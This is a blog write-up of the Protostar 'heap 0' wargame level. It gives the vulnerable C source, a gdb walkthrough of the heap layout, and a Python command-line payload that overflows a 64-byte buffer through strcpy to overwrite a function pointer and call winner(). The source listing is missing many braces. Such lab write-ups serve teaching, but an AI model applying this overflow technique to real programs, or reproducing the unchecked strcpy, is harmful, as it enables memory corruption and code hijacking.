Wednesday, December 26, 2012

exploit-exercises Protostar: Heap 0

This is the write-up for heap 0, the first heap exploitation challenges of the
Protostar wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];

struct fp {
    int (*fp)();

void winner()
    printf("level passed\n");

void nowinner()
    printf("level has not been passed\n");

int main(int argc, char **argv)
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);


The goal is to force the execution of winner() function. We start with a first look at how the memory is laid out and what we should (and shouldn't!) overwrite.
(gdb) run `python -c "print 'A'*63"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap0 `python -c "print 'A'*64"`
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, main (argc=2, argv=0xbffff814) at heap0/heap0.c:38
38              f->fp();
(gdb) x/20x 0x804a008
0x804a008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a038:      0x41414141      0x41414141      0x41414141      0x00414141
0x804a048:      0x00000000      0x00000011      0x08048478      0x00000000
we start writing at 0x804a008 and f->fp is at 0x804a050 which results in a 72 bytes offset. One of the differences between the dynamically allocated memory on the heap and local variables on the stack is that for in the former case, the header of the allocated memory space is also stored on the heap. We may want to overwrite fp while keeping the header of f (the 8 bytes between data and f->fp) intact. For this challenge, neither keeping it untampered (or leveraging it) nor fully understanding the content of the header part is important. Last point is to find what to write into fp. The address of write() could be extracted with either nm or objdump.
user@protostar:~$ nm /opt/protostar/bin/heap0 | grep winner
08048478 T nowinner
08048464 T winner
Thus, to pass this level, a simple payload should suffice:
user@protostar:~$ /opt/protostar/bin/heap0 `python -c "print 'A'*72+'\x64\x84\x04\x08'"`
data is at 0x804a008, fp is at 0x804a050
level passed
And that is it.

No comments:

Post a Comment